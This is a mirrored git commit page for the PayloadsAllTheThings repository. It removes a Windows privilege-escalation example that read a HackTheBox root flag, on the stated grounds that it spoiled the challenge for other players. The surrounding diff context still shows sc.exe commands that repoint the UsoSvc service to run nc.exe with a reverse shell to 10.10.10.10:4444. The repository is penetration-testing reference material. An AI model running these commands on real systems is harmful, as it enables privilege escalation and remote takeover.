mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-11-10 15:14:34 +00:00
Remove example from win priv esc
This example was used on hackthebox where it leaked the root flag of a machine on free servers. This resulted in every user being able to get the root flag before they have even completed the box which isn't fair to others. This example should either be changed or removed completely to combat copy-pasting without knowing what you're doing.
This commit is contained in:
parent
6c38274bdb
commit
1b190939c4
1 changed files with 0 additions and 1 deletions
|
@ -519,7 +519,6 @@ Prerequisite: Service account
|
||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
PS C:\Windows\system32> sc.exe stop UsoSvc
|
PS C:\Windows\system32> sc.exe stop UsoSvc
|
||||||
PS C:\Windows\system32> sc.exe config UsoSvc binPath="cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\a.txt"
|
|
||||||
PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe"
|
PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe"
|
||||||
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"
|
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"
|
||||||
PS C:\Windows\system32> sc.exe qc usosvc
|
PS C:\Windows\system32> sc.exe qc usosvc
|
||||||
|
|
Loading…
Reference in a new issue